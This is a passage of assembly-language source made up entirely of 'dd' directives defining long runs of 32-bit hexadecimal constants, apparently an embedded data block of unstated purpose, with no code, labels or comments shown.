5C172FF8h, 0C102ACF2h, 0CD619EE3h, 0CC83C491h, 0E713DBE0h dd 0F903F0A9h, 0A02C6549h, 13289BE2h, 0D11FCCB4h, 0BCD59410h dd 8F370F99h, 720BE0h, 0D048F284h, 0A0DA3493h, 9CC40E89h dd 0D4C1FC95h, 0C851870Eh, 0FD1D9E74h, 7F0F8A45h, 66C0096h dd 26C7C90Ch, 117C0E46h, 42638A6h, 7BE77135h, 79A60C3h dd 8A0CD719h, 0B41FC01Ah, 60C0FB7Ah, 9801FC9Fh, 4A191230h dd 0B21CC410h, 0F87500FCh, 363F5677h, 0B5EF0E4Ah, 22E1AA7Ah dd 0E463A6B6h, 0B1C135CCh, 148A95F6h, 59A12C28h, 417F40Eh dd 1C481500h, 4ED41EC7h, 8C4C9CC4h, 533999BDh, 5E7FCC1Eh dd 19E9B700h, 0C51526Bh, 0C3BD21ADh, 343A3C51h, 0BF2E7CA9h dd 0F42CF8FCh, 0F642C024h, 845226h, 0FAE2347Ch, 8DF31283h dd 0ECA0A0EEh, 6099CD54h, 0DC59C487h, 1B5E3190h, 0CAE9004Ah dd 0E2133F46h, 9FF05292h, 0E9DF5CFCh, 40E62300h, 7A30AFF3h dd 5A1B13BBh, 0ECC8D0CDh, 26004851h, 0AC538F03h, 16788C2h dd 817B80E6h, 0A52C4393h, 0C7D010C9h, 3A500026h, 0E7C23D49h dd 63F290Bh, 8532943Fh, 80CD88A8h, 0F54BCBEAh, 651842C7h dd 6486E824h, 0F60C0059h, 92FE3880h, 31C54943h, 0E4881DCDh dd 51DA6F94h, 0C277A285h, 247A27A0h, 0B9357A00h, 214D8AF2h dd 480458CEh, 0A420A59Dh, 36991862h, 8AC52E14h, 0CD0BC1BCh dd 0A4E26C82h, 0A8FC1E28h, 9F89816h, 7C05D6DCh, 0A4C0442h dd 0F24641A6h, 11801926h, 34732B41h, 0DB2E9486h, 75501CAAh dd 2FED0676h, 0C85C7D62h, 33079701h, 0CA4EF732h, 0ECA0C468h dd 0B30E64EEh, 60146A60h, 30CFF674h, 9FD8EB6Dh, 98E7522Bh dd 0FB0FE000h, 2260F894h, 7998480Ah, 608884Ch, 4794BF9Ah dd 3216443h, 6440E3Eh, 10418A85h, 0D61E9C00h, 28309928h dd 45C85FF7h, 0A066FEA5h, 98BFE907h, 31E07029h, 3F3CBD4Fh dd 0A82E10B0h, 0CCA345ECh, 2F38CA2Ch, 2518007Ah, 38343B7Fh dd 764B313h, 4332B881h, 98E8C733h, 0B904C4E6h, 1BB392A8h dd 44071CC4h, 1F821282h, 2D066ACh, 78FC507Dh, 7C80A897h dd 0AC204358h, 0C430B902h, 73147099h, 9E0B0BE4h, 896A2887h dd 140078EDh, 0CDF4855Fh, 2F881F10h, 0E2758046h, 90D84093h dd 0ECC004B6h, 1DC5B44Dh, 2C5CA93Eh, 80300045h, 572318BAh dd 87696000h, 5FED257Fh, 0A51CA024h, 0FCD0014Ch, 20F767C4h dd 0C89ED811h, 0DB19F002h, 0F80CAB80h, 832F1A7h, 0C5311139h dd 6C09CDA8h, 0E6E2A0B8h, 0A1FC006Ah, 5B2BB4BDh, 0EE0040F0h dd 215C38D8h, 4CA3C906h, 91225845h, 32EEE4A1h, 0F34A808Ch dd 72BAD74Eh, 7EDC765Ah, 27F71125h, 512E2C90h, 0B6BDDF00h dd 4B08CDC6h, 273C2099h, 3D0178CAh, 0C2532BBh, 78885569h dd 28AE8AC6h, 20CE6040h, 2BF626h, 35F7624Eh, 5EAE4CCAh dd 949F7209h, 218C6D8h, 5C70B45h, 0A8C4447Eh, 1FAF7905h dd 0C0C29EF7h, 0E8CF23C6h, 26C842A8h, 4EEE6E09h, 0EC96C0h dd 207D5BCAh, 0DB215F17h, 163D5A5Ch, 0D4004636h, 10414CC7h dd 5BF00425h, 0C82D9F3Dh, 9202F72Ch, 26E41333h, 2CB72087h dd 4707C761h, 0CBC1B485h, 33E2F3B7h, 101C87CEh, 0E0E3BD50h dd 0AC87582Ch, 6E499AC0h, 2D00B139h, 0FD548243h, 0E496B88Dh dd 0C47226A5h, 249E114Ch, 854164CEh, 0FCD8C74Eh, 0E17D24E7h dd 9A62078Eh, 0A024A1B2h, 0EB1AF094h, 30341434h, 74005CA6h dd 73C97A8Ah, 130246B5h, 340306C6h, 0A0348BA6h, 527D2CC0h dd 0F9DB16F2h, 37F00135h, 0D12E3FDEh, 754F3130h, 3B8AF09Ch dd 0DF65FD00h, 0D5851FFEh, 9B4C01CFh, 0E7CB61D4h, 0BBAC4125h dd 0CD9DA8Dh, 89413F1Ah, 750018BEh, 0D48E5DBFh, 0B744113Eh dd 0A83A3F01h, 91ECDA96h, 0FECD9C00h, 60D1FD01h, 4F9E8F17h dd 97F9860h, 0CB475E85h, 405BA885h, 0E2BF749Ch, 0FF62D05h dd 0CCE0A706h, 521980Ch, 8A9C7F82h, 0C9184113h, 393E93D7h dd 10A2004Ch, 2546D6EBh, 28F12626h, 924397D8h, 12209B28h dd 4267EAh, 0A92E8710h, 64716106h, 93328201h, 0E71E18D0h dd 10C4B0A6h, 9E9688D6h, 80739F63h, 46973912h, 5200ACA4h dd 556ABCE4h, 94501379h, 0C1D640B0h, 1B008785h, 0F79A287Bh dd 0B6F57489h, 0E54E1F54h, 0C5001094h, 3B164519h, 0F561E6Ch dd 955810DEh, 62B29600h, 79E7B0C4h, 0A1629EC4h, 3D095F4Ch dd 14EC0024h, 711985FFh, 28A00030h, 22F41BB9h, 31138B7Bh dd 0BC0BD9DFh, 0F21C10E7h, 0CDD307D4h, 0E6665C06h, 3C1619C4h dd 6890B98Dh, 0FE7224h, 56FFD8EAh, 81C93748h, 3108A148h dd 8CCD98A6h, 0A7103400h, 0CAECFA50h, 18635A41h, 0C6F0A204h dd 0D96986EFh, 2D41A462h, 1ECCE8Bh, 76A30F70h, 7CEB542Bh dd 3788875Ch, 0BBA16EB1h, 0B653E0h, 0C642B830h, 10FB56B9h dd 0CCEFCF04h, 90C9B20Bh, 0BE3096E8h, 408F4240h, 0F8D89C24h dd 0A891E6h, 0F47983A0h, 0C73E1458h, 8A690061h, 4A721916h dd 2E7A16B2h, 34648C45h, 781D514Fh, 38223FC2h, 14C4B9h dd 1EA7F4E6h, 3AB08B4h, 8DA5A016h, 0E4203005h, 2778409h dd 733F1364h, 64010088h, 0E538D275h, 0B78C4900h, 78A768B2h dd 5A6B0061h, 5B64101Fh, 34E90CCEh, 3E5C9478h, 30E09824h dd 154088EEh, 4422255Fh, 38E429BBh, 9DC6A407h, 33274202h dd 0D250A757h, 0D9A922h, 0B2A66E06h, 0F9BD58A1h, 0C03D4D73h dd 88AC4486h, 7E3EFB76h, 9C02F36Fh, 5C2D4C2Fh, 0B9385196h dd 0BC221C58h, 65F87C00h, 86EB7821h, 0ECD2F03Ah, 3DCA16D5h dd 0C198C806h, 0BF3188h, 0C60C62A4h, 0B1F14D1Eh, 7647CF5h dd 0A2B9B40Fh, 0F878DCC2h, 0BF5F0160h, 481779A5h, 79AC616Dh dd 901F8B68h, 8B87AA50h, 9F5A14E1h, 61B05E19h, 4CCB1038h dd 9309C0EFh, 6401362Dh, 208D67F9h, 0CCB6BF00h, 3C0CCD02h dd 2F88DAEEh, 0A0106137h, 0F5019281h, 8FD48E40h, 8386EE0h dd 416C314Ah, 86CC4C45h, 2B85DD00h, 1A5DBFC6h, 7A1D1EE5h dd 0BD4B8002h, 9397C7D2h, 2D9F2C58h, 30E410AAh, 880601F6h dd 4EB885F1h, 317051C8h, 2513D2C0h, 744A41D0h, 590020F1h dd 3EA3565Fh, 25B4020Dh, 0D122BA74h, 0BE88FCF1h, 0C8F70045h dd 285825CDh, 4794870Ch dd 7D385140h, 804F5460h, 6A1F0045h, 759AB664h, 24008FC7h dd 0F9A2B313h, 0BC41694Ah, 0D03445E0h, 0EF26DE0Ch, 7D0B6090h dd 1830ECB2h, 6B06E4h, 0FBB5579Dh, 0C9CFDF8Ch, 0AA005A73h dd 87496EBh, 0C410A6h, 252F8913h, 0CD0F972Eh, 1FF09FF2h dd 0CAB52D0Eh, 1E994020h, 99478EEh, 433A318Ah, 0B30FB86Ch dd 60B053D9h, 28FCE63h, 186D00B4h, 37467C34h, 520B4550h dd 1807CCB3h, 3FC9789Ch, 8CD13DCDh, 251DF033h, 0F1D60397h dd 66B04EF6h, 932F814Dh, 0CDA0A2D8h, 5A9CE409h, 0BD7441CEh dd 206AE527h, 7B2CEE48h, 0B4605C0Eh, 0B06294C5h, 49E23EF6h dd 48D8B281h, 0EC8A5008h, 7CFD758Fh, 18B2A590h, 0D3770C00h dd 55169D27h, 981B8000h, 94E3DB63h, 0CD2C2CB0h, 5836400Ch dd 6D4B6787h, 6A01FFBCh, 262FD71Fh, 6CB1D5CDh, 23F2DB8h dd 0C0B616B0h, 4B4B5E0h, 321725BAh, 489CA81Fh, 57207654h dd 44E6483Dh, 6825CB81h, 604CFC79h, 16EFC500h, 0B285B0B5h dd 17F178C4h, 1187CAh, 305C2A44h, 451C9328h, 0ED32518h dd 36D50403h, 402FC00Ah, 0D071C120h, 30B71934h, 5F134650h dd 408812CDh, 0A438C00Fh, 6B089F17h, 60394E09h, 0BE2C5181h dd 8CA113AFh, 4A2C5BDh, 205F8482h, 0C3D86256h, 0D4765AE8h dd 0D2E23Dh, 9FC687F0h, 0E65B59CAh, 5E6F3293h, 0A320A580h dd 953243Fh, 30382645h, 0F4E50833h, 8B002E94h, 0B93AF0FDh dd 19419h, 0F940B811h, 0CA75BD47h, 9E054575h, 0FCE0B787h dd 0E8E2D8D4h, 2B424100h, 0C725CFEDh, 36F66000h, 6E27EADBh dd 6C2250Dh, 52866004h, 47559408h, 348748C8h, 0C48A0B9h dd 9B1948E7h, 23A14700h, 0A45FBB0Ah, 3D802536h, 0CE58144Ch dd 6F188000h, 70C8630h, 0EB8917BAh, 0B187A2C2h, 2CC59C41h dd 0DAA3023Ch, 85C1B0BEh, 88C9CC0h, 647FC4h, 0A7EA5138h dd 1D5BED9Ah, 508C7B4Bh, 0BC4C00B9h, 0F86C9B6Eh, 1CFA6197h dd 0D8F6FB00h, 4C3515F2h, 2D863A41h, 310E3F00h, 52C778EFh dd 4F6C9654h, 0ED053828h, 619ADB00h, 0DAF1F70Dh, 948B3D34h dd 64905D76h, 0D0B84BC0h, 0A50BFF75h, 84C737FDh, 0F8C274CDh dd 0EFAC5458h, 2CBDC980h, 927CF50Ah, 5419E16Ah, 0A2112000h dd 0F4BB17CEh, 0D951273Ch, 83438C83h, 809D48A4h, 718230CCh dd 0E8920B73h, 344F2F76h, 9C5BFC08h, 15FDC137h, 7ADBD3Fh dd 0FA60DBC0h, 840E0EEDh, 408A99FEh, 23C341FCh, 2C7507A6h dd 0B40270C9h, 0F8EA209Bh, 8B0FD5AAh, 0A02AFD86h, 27A916FEh dd 0BE8D00B3h, 96FBAF4Dh, 5C00ED7Ah, 0AE46856Dh, 2293559Bh dd 99003D3Fh, 9EAAFC8Ah, 0E454CE06h, 44A8B603h, 0BD3320DBh dd 0DA0CA370h, 1E9C20BCh, 0A0B1E0B6h, 0DB75907h, 0F024CD00h dd 82CE3F02h, 33A0EF83h, 86A854E4h, 9F177DF3h, 0A421A464h dd 1D084547h, 760175FCh, 0C15F017Bh, 0DC20ACA7h, 2CD87C77h dd 3DD8D0C9h, 37278F20h, 0CE94A0BDh, 36124E1h, 4D4B63B6h dd 5BC05F97h, 465CDA93h, 422EC8D4h, 90610E41h, 48D42DD2h dd 12B12210h, 0E967E3Fh, 0FB244100h, 24F245h, 26351170h dd 3D7F283Dh, 0E487EFE3h, 0B98A9E91h, 8C1E019h, 0EC435041h dd 4FA8BE95h, 0FD4000F1h, 0E90DB09Ch, 13881783h, 27740CDDh dd 0CE123E49h, 0C8B4D311h, 80E8B4F6h, 19408621h, 0A7903443h dd 4440274Fh, 0CEEE3653h, 0C80300B3h, 641CF508h, 5FF4B760h dd 451D44B8h, 46178359h, 7763E0C8h, 21F4008Ch, 0A7DB49FAh dd 8509D164h, 9E48675h, 127061DCh, 5AC54D2h, 31D8AB38h dd 8870BA0h, 0A899F6h, 2485186Eh, 0B20BAFF4h, 6CA630h dd 61A5E870h, 3B27049Fh, 0C09EF244h, 91745FABh, 0BC28091Ah dd 12A0CE1Ch, 3044152Dh, 36317BA4h, 0F0645Ch, 152E9D5Eh dd 0C093BD48h, 7A044621h, 0D190C2E8h, 0DF13990Eh, 0C629E487h dd 504C6C83h, 1275CE61h, 214093C3h, 6809707Ch, 988A772Ch dd 976338h, 266227D9h, 1F356B68h, 0DE37BB12h, 910C88h dd 866F8B73h, 82A2F2A3h, 4DA65CB1h, 80307C0Eh, 0B7DBA48h dd 845B0035h, 0CE86324Bh, 265C92B6h, 0C1488038h, 0F41DF1AFh dd 1E98041Ah, 0E8C60577h, 0E8870022h, 3017F708h, 0AFF93E25h dd 78188BAFh, 0AB1C31B0h, 0CECA80E4h, 4449E024h, 6F170228h dd 5901974Fh, 4109C0C6h, 79C6BD6Eh, 87190B24h, 5250CC24h dd 0AFA5DC30h, 0B0AB00ADh, 0D4AA213Ch, 4016E60Fh, 68818406h dd 5520D9C3h, 26A89023h, 43BC8564h, 51783C93h, 0CD253813h dd 9939B890h, 0C78000F7h, 0C4E849DEh, 91797614h, 3F254701h dd 308AA02Eh, 3E00886Dh, 78A9E828h, 0A50351C6h, 0CE3F6C5Eh dd 0A7210069h, 0DE6472FBh, 4A00026Eh, 32763053h, 1D44E57h dd 318D349Ch, 70D2D0FEh, 0BD093610h, 0D396328Ah, 5B3180BCh dd 812A0F53h, 0AD372C00h, 38A66F27h, 7C30F509h, 94AF25CAh dd 0CCF06C80h, 0B8A99B0Bh, 3DAC29C7h, 1A4877h, 215834B3h dd 0D243E1h, 0C8C21B40h, 309E4B41h, 9F42D8A0h, 48C92D4Fh dd 82719D6h, 84109531h, 4E13C883h, 0CCE5F5C1h, 180DC60h dd 19D21825h, 69C6B4ADh, 223F824Ch, 46E04185h, 50A4E310h dd 62079E7Eh, 7CF73D6Bh, 819C12F1h, 914D8F8h, 0A74DFC9Bh dd 0B2822CA5h, 42D00044h, 20B25FFDh, 1293EAFCh, 4029783Ah dd 2BE330E4h, 74581CCCh, 82C72DCBh, 699A5284h, 3900EBFCh dd 4C6BE751h, 24E86691h, 3D7CF682h, 0C00F052h, 0EBF1971Fh dd 0F51D4115h, 0EC17F2A7h, 57790403h, 5134B020h, 0C42DF1BBh dd 0D77F5CC0h, 0E20197B4h, 2322472Ah, 0DC23D6C7h, 6A67600h dd 0E9AD01FAh, 0F4282900h, 96FB091h, 7CBC7797h, 20D24B31h dd 982B19C4h, 1288F58h, 5DF4FACAh, 95E06F10h, 0C1E46EC6h dd 507BB82h, 94E6E450h, 69FAF01h, 9E2859E6h, 0DD50A180h dd 3F13B1B5h, 51E74B01h, 88064757h, 0A0B44BFEh, 4A1ECCF7h dd 46408896h, 314F98Ah, 0E41FD7C4h, 86F24580h, 0E6816C99h dd 8B9E5211h, 0B18E0C0h, 0C6AD6C83h, 40421404h, 798A92DDh dd 9C00B599h, 172A1910h, 38BEA8FCh, 0DEB8B380h, 13F88464h dd 0A4CD617Fh, 11988D0Ch, 9D568100h, 0AC88010h, 16148C2h dd 5F9E1701h, 32B8A3C9h, 50BC0000h, 0A006CF7Bh, 355500B1h dd 9C7092DCh, 0F2160B27h, 0A8601BF3h, 1C0CE33h, 72CCBE09h dd 2EDFDEFBh, 201A8C02h, 78C673h, 0B8C6E8ACh, 0FE6642F5h dd 364D9B0Fh, 2E9345A7h, 0CE620C5h, 0AF41CB09h, 0C02CA460h dd 0D9F71DEh, 0B07E46CAh, 55888D60h, 5DEF3137h, 28E4CDD0h dd 0D89416B0h, 33C1C88h, 0C3A70131h, 0BC13C2DDh, 6804077Bh dd 40455A15h, 0A30C223h, 20630841h, 6CFD0C80h, 42A305E0h dd 0C0AC3046h, 78D5B580h, 5A0C9EDEh, 494ECD52h, 0E56E003Eh dd 4FA90F18h, 0B00915B3h, 0DF200B92h, 3C5D0Ah, 9E9521D8h dd 0C2093D3Ah, 6E6007CDh, 11EB0624h, 6CC4C9DAh, 0AE3A1900h dd 3C99066Eh, 0B03DEDC1h, 0BF0E5680h, 441367DFh, 4001BC9Dh dd 1BCE252Fh, 0F5E4C24h, 374C5B33h, 5F437AA0h, 9317D049h dd 189C02DBh, 78C50F50h, 0E82095A2h, 0D136D44Fh, 0FDF17207h dd 73617105h, 1C684641h, 51380D0Ch, 5B003680h, 172CC3AEh dd 5FA89E97h, 0DD387078h, 0B6009D33h, 32D60295h, 9818B7h dd 7170EBCEh, 62341BC3h, 0D3952F00h, 3DC5B98Dh, 5F9F008Fh dd 59C0A7BFh, 460F7077h, 0A9340447h, 0B9C493D8h, 93F4FE30h dd 5F7402EDh, 0F69AC13Dh dd 7C5198ABh, 0D62C6C00h, 1AD905h, 8D8B1DA4h, 74ADE6F5h dd 220220EEh, 0F4ED5926h, 4A84630h, 5CD0D666h, 4C88B207h dd 0DFE6094Bh, 0A0F400ECh, 9DC114A7h, 6180583Bh, 0E41F16E3h dd 0A7801D70h, 0CA421CADh, 0C14504E2h, 0C82B9F7Ch, 264EF264h dd 0B0309CD3h, 4050B9Ch, 1421ABD5h, 4C748051h, 0BD2F4EAAh dd 99C8B889h, 19BF0E10h, 228EDB32h, 8145B0C5h, 6D416A57h dd 1292210Ch, 0F22CA41Fh, 5FFC51F0h, 0EC1708B0h, 60048642h dd 70D1406Dh, 0F0298FA5h, 0B1561918h, 19C5C0BDh, 4400A83Ch dd 0D482D5B7h, 0DC540263h, 0CFE6853Fh, 12E088AFh, 7DAE01C0h dd 8AE34F00h, 0A862E7C2h, 1B2D0019h, 0D9455999h, 61C883BDh dd 0B938847Dh, 22D4B21Fh, 0D5043C9Ch, 7DF86700h, 0AB91FD1Fh dd 46382600h, 0C6E98E6Eh, 0D475000Dh, 2B92EF05h, 0C599D21h dd 3D461B84h, 0DE8A92C1h, 85414038h, 544FFD25h, 318F142Ch dd 0CD11BB42h, 0AC282A1Eh, 67203C89h, 738017h, 0B8CB7DE6h dd 0C41FF0DBh, 0B78F8DD0h, 9D22E56Fh, 28025CC1h, 0D9005C2Dh dd 5D19CF77h, 0B10781CBh, 8E01E02Fh, 0E33F20C1h, 475456C6h dd 494330E8h, 52392698h, 210D85Eh, 8F3CF423h, 0B4D2B9h dd 1AC314DAh, 1CDD181Dh, 0A8BDDB3Dh, 5230B0B2h, 6D2BD9A6h dd 949234CCh, 388C4A20h, 0B6370093h, 0A2C22F68h, 5EFBCE1Fh dd 5A6B1E81h, 0FC48A79Dh, 8746140Ch, 7A8F11h, 940E66EDh dd 9EA91857h, 0C2431E01h, 0C05EBD33h, 4521F079h, 7C417500h dd 9EB057Dh, 0B252C978h, 961E08C4h, 0B781793Eh, 33015F42h dd 116C70h, 3F46C944h, 4FA11015h, 1725FE05h, 4B2485Fh dd 7A80A239h, 9C093E1Dh, 0A40003BAh, 0DEAA1646h, 7ECE6337h dd 88C082C2h, 0D780C4CFh, 6410245h, 0AB4E828Ch, 0D9EC38F1h dd 0C80B5ACDh, 1D8CD854h, 0CB440D67h, 387ABD32h, 1578A214h dd 20251588h, 0B1840074h, 0C97ADD0h, 1EA30A4Dh, 28B45B03h dd 0AF58B4BCh, 2ECB7C90h, 62F13800h, 9E8E1863h, 0B7227C7Eh dd 5A364010h, 1A40D901h, 9B945B15h, 0DC48A093h, 5703C9F0h dd 98C7B1D0h, 9A5AB9B4h, 411D7C26h, 11CC8973h, 42442079h dd 0A02927C0h, 179200ECh, 0CF313F65h, 1D1283A8h, 98324693h dd 23001605h, 9A7A5092h, 0DACAB9h, 0D0563857h, 5CF78A04h dd 0FB039F02h, 0F642E12Eh, 5EE34E3Ch, 72A9151Ch, 0E789E858h dd 0A0731F1Fh, 14F73141h, 48CC8D0Fh, 10A2020Eh, 0A79315EDh dd 0CCA52080h, 34C0DD78h, 8ACA6CF1h, 7796079Bh, 70618B08h dd 4D868DEBh, 2F3A410Bh, 9B6C9845h, 5ABA007Bh, 26333D76h dd 7801F23Bh, 1A071B27h, 841471E1h, 45982C10h, 0DD919600h dd 14A5D525h, 7FAF003Ah, 0AAC349BEh, 40028713h, 7DBD4634h dd 9E4440C8h, 0FA3F7483h, 0CD60A0A8h, 6FF50065h, 0AA2B08C5h dd 76797F89h, 0DC1E020Fh, 6B3A8F85h, 4C50985Bh, 2240E08h dd 0AF606B3Bh, 0E32799BFh, 2317F3Fh, 2FE95F47h, 1D8441B2h dd 4D24D43Dh, 4F6300B0h, 45D275BDh, 380A0C93h, 0F43BCC2Bh dd 771C90B7h, 66871214h, 5F9CCC01h, 3D1E413Dh, 3F537FA8h dd 0C7AE1EA8h, 39F4803Ch, 11A4B267h, 9BD102FCh, 45E6A73Bh dd 7EC08327h, 0B48C9FAh, 309D5F46h, 0B0CC5405h, 4484E25Ch dd 406C08Ah, 0B2FE4AB5h, 4C1807F0h, 214DABD8h, 3B08CD7Fh dd 193D8022h, 278080Ah, 4A1D3797h, 98FE3FBFh, 3DCE5240h dd 0A33509B0h, 88E8A89Ch, 0C01E0EDFh, 7A022Bh, 88D922B2h dd 0F7AD24h, 37EE109Fh, 0F6AFDA19h, 695C9E5Ch, 4EB80138h dd 227A96BFh, 9CA1C798h, 0F869E566h, 93002A5Eh, 1EA212DDh dd 947778BDh, 0BB348288h, 0CE42822h, 0E8CD7000h, 0B7BCA884h dd 0D35000B0h, 0CE9D349Ch, 0ACBA395Ch, 0BD007890h, 86F87725h dd 7C5A90E7h, 9E272245h, 70DC1B07h, 2A9050C5h, 0E0F3B52Eh dd 0FC5500A0h, 0AA779869h, 653825D8h, 86D02746h, 0BF40BCF4h dd 182930B0h, 74768F01h, 45588E97h, 9F9D1878h, 616780B6h dd 332B7E54h, 4EBA0302h, 0F49F9BC6h, 2E7BC068h, 422F282Ah dd 0B7FED4h, 71FEE2Fh, 589635F7h, 80842614h, 669D8815h dd 4C3001E2h, 2DB3C8FEh, 68142BD6h, 618EC014h, 1EB9B80h dd 21EFCE8Bh, 0E44F4930h, 0BC025E73h, 0CC2E86BDh, 1C87425h dd 5C378CF8h, 0CAD7C08Fh, 0E794F10Ch, 18118D2h, 25C715F7h dd 0FC6DD09Ah, 4930BF56h, 0E92C280Bh, 89358821h, 88007375h dd 0A35208A1h, 1F7679D1h, 74EA539h, 650D4601h, 878E00B8h dd 0C92C17DDh, 78017D7Dh, 0C8767CD8h, 85D52B81h, 1BF8DAECh dd 61D6FEF9h, 4CFF74E3h, 11E9FB19h, 1E1FA57h, 19781452h dd 8DB0802h, 0D0E8F78Bh, 62B3F280h, 3025032h, 28C27A12h dd 0B9885C2Bh, 0F420C0A0h, 0D5DA00FBh, 7469B066h, 4B98D92Ah dd 0E9188061h, 61807C7Ah, 2A4A8F61h, 1FF89A87h, 19D99431h dd 49BCF3F4h, 177DEA80h, 5EB1D1D5h, 0EF01100h, 722FAA1h dd 1974FACFh, 31E6F589h, 8E8470BCh, 5F719D00h, 0C130A2C8h dd 393E2A4h, 0C23A2392h, 0D1001CE8h, 0C10A1B7Ah, 50ADC8B9h dd 1840A8B4h, 51EDF56Ch, 6A3D3C14h, 916880A0h, 0D2CB25E5h dd 0F24D0F1Dh, 3EA01735h, 8840F4C1h, 0CF8F30C5h, 3AC7A440h dd 0C356C5h, 0B8A13B11h, 7DB45EDDh, 71DC9100h, 6F8CB00Bh dd 0F4D518DEh, 0BA8271F2h, 50F63700h, 5769E2C1h, 346C0033h dd 40D36F10h, 817493F5h, 87A3F115h, 809938A4h, 3ED78412h dd 0EA7BDC2h, 0E8D4F9C6h, 0AFC8E958h, 433639h, 5D4234A5h dd 0C37ED191h, 97012C40h, 6F8F0BD0h, 0C1DEF9F8h, 56D02241h dd 1EF4D990h, 0E1490372h, 0ED06794Ch, 6B322AF0h, 31FB9130h dd 0F5EB7Ah, 0ABA0DD49h, 0A874160Ch, 27193300h, 0CA241ED8h dd 4CEE037Ch, 8B3E5E71h, 0A218380Ch, 0ADC985h, 813DD9Fh dd 833DBB96h, 0A0053F6h, 0B21B4F12h, 0E0907D77h, 22549280h dd 0D8862205h, 0FC0DAB00h, 3365D3E2h, 5A3E00BAh, 0BF884448h dd 0BD703753h, 3C561700h, 9F596087h, 45F015Dh, 62FFF9F1h dd 0FA5191F7h, 450AF300h, 0D284EB07h, 2B041000h, 7F8E5DCAh dd 825E125Fh, 37C0449Fh, 0D40644D2h, 49FBF546h, 74038090h dd 531C88C4h, 0FD2810D5h, 83F2880Ch, 5E44EDA7h, 0EAEF6AF0h dd 3C596326h, 0E776FF02h, 0EB18B3AAh, 3198B8B3h, 431B07C0h dd 0F43C2Fh, 54719AADh, 53C1DA89h, 60C0F903h, 19C0ECF1h dd 0D34D989h, 135B0003h, 75115006h, 0B5F2FAEFh, 1C006EF2h dd 2A1964E8h, 2787F37h, 186CC2A2h, 0DCA17B52h, 0A0DF5C82h dd 6D45E851h, 4C34E8h, 0E48D1BE2h, 0A0FDB0AAh, 2961000h dd 0A6BFE7ABh, 0CF2A0240h, 7678E9B6h, 0ED552882h, 30888F24h dd 0DDB5008Bh, 8A69D4B2h, 0D878497Fh, 1E0FAE03h, 0EE19907Bh dd 0FD8700E0h, 829FE95Bh, 34912C5Eh, 0AF604401h, 0C3C09C55h dd 2B370A3Eh, 13C817D6h, 0FC880E29h, 7A0CE0BCh, 917F1FF2h dd 98F60901h, 7098412Ah, 77095240h, 77468B4h, 0A9EC8F7Ah dd 0D52C008Eh, 0DC5AA9BEh, 4D010458h, 0CCF72256h, 918A4FF4h dd 67A01DE9h, 0FF8C4850h, 88CE5178h, 0CA007FFAh, 4DDCE18Dh dd 0E443ECFh, 0C0BC62DFh, 100840A0h, 741265EFh, 0A860D561h dd 127547h, 0BC6B381Eh, 8A17B063h, 92012104h, 0B4C209DDh dd 68488F22h, 2A1BBE7Ah, 2BC01978h, 0FC0A1307h, 905E832Ch dd 24C10DBEh, 0C5D0D961h, 32D40017h, 0A2B0BDDh, 2604DA5Dh dd 8C6E7F45h, 818E9480h dd 0E9C960E8h, 0BA275D4h, 0F1F7B20Bh, 10D302DFh, 0FBA841DEh dd 607B0170h, 3F9481FAh, 79C0EEF4h, 0ADDD9921h, 2035012Ch dd 0A555AEE0h, 349020E5h, 9EF7DC3Eh, 57C0872Fh, 0A2217397h dd 6DD9C182h, 0C8892004h, 8000F418h, 0FB8398F0h, 9317ADD2h dd 0E8742890h, 105F5813h, 7A41B402h, 84C4192Ah, 91F4F530h dd 998213h, 0B7D171A2h, 0C7BCA321h, 0F8189500h, 741AC50Ah dd 67C0BCFh, 0B810E758h, 0A1004393h, 0B12E892Ch, 6434ACDEh dd 90320A3h, 3A8010F4h, 3776008Eh, 2918B4BCh, 0D300CF33h dd 0FF2CB611h, 0B020A259h, 7AF22991h, 0D3E80CFCh, 0A500D169h dd 0BC08F0A6h, 0C72FE742h, 0C03D9719h, 0A19C11C8h, 0F69B6300h dd 0E5FF1068h, 0C70E2D6h, 0DA885EF7h, 0DF6002C8h, 0F1B15A39h dd 112A60E9h, 8044C204h, 89A48316h, 0BB03531Fh, 0DF5F7DE5h dd 20A9700h, 20254C50h, 6E792D00h, 0E2A418B0h, 7D87C91Eh dd 5C609700h, 0E444B8A9h, 3F8293Dh, 732B09B4h, 9EFF4418h dd 7FC040Ch, 93C221DDh, 1DF10078h, 49FB2E2Dh, 0CC0E9C00h dd 0AD75BAE3h, 9319287Ch, 17BE12ECh, 74580078h, 828FD13Bh dd 0F65061C0h, 11FA73Fh, 0EFF7EC4Ch, 60F41195h, 12E74A0Ch dd 0D04620F3h, 0CF00BF30h, 0BDFCB03Ch, 3C0BB6EBh, 29A4C5E7h dd 0D92D09A8h, 8E09091h, 0A26351ACh, 0A93E118Fh, 35EF4260h dd 0F89D5901h, 3B5705C7h, 0A659EF3h, 1278FAC0h, 0D5170AC1h dd 8FC60508h, 2C3C9139h, 4320D6E9h, 703BFFFBh, 0E7EF29DBh dd 3C3700D8h, 90551772h, 13383E74h, 315C00B0h, 925F7C4Fh dd 7C874C3Bh, 392CE886h, 0EEC84D00h, 3F530469h, 0ED5100D3h dd 0A8EF1B31h, 0B715D5F8h, 1CA4F58Fh, 0A3405C2Ch, 0B2578302h dd 6010982Ah, 4C4B875h, 789971B6h, 845D0B85h, 20881C92h dd 0F61FE780h, 0D174BB04h, 1CC9E90Eh, 1E567EF8h, 80753C69h dd 5B65C7C6h, 2C007CE5h, 0F89A5C2Bh, 12565F72h, 44FD8695h dd 46200318h, 779E7F5h, 0B0D33460h, 955EC0D1h, 0DC0020B4h dd 0CE7A295Bh, 4C2B60C9h, 91000432h, 5C7513D6h, 5CA0F15Fh dd 0E83C0A1Eh, 899C0051h, 5FED6E7Ah, 9B780079h, 12C41FAFh dd 174C0D0Ch, 9FD9600Eh, 611953h, 0CC4E27C6h, 6C3FD012h dd 5A267900h, 6E2AC92Ch, 9EC494F1h, 0F57122FCh, 0BCF779C0h dd 7BD0E8E3h, 3ABE0012h, 0A50EB4FCh, 0E89405F8h, 0FC326E44h dd 25245510h, 4898D887h, 1B5DFD94h, 0F6A61A48h, 36B26341h dd 4620EF41h, 49C13DE2h, 6C407DC1h, 9AA94020h, 602B739Ch dd 0AAC021D7h, 2C002441h, 692DC129h, 0B775EAh, 0B651F267h dd 7E08767Ch, 0E5E13CB0h, 81E802D9h, 0A05CA660h, 14D3CD0h dd 442885E3h, 2949830Ah, 0F88F18F4h, 6210A1h, 0CC4FE5DEh dd 6DE7BA5Ah, 2C882B3Ch, 0F71728C3h, 91C9D04Eh, 0BDD0311h dd 90118FC5h, 8836FADCh, 0E494917Ah, 4B459780h, 0E2415C2h dd 211BF43Dh, 0F0020B47h, 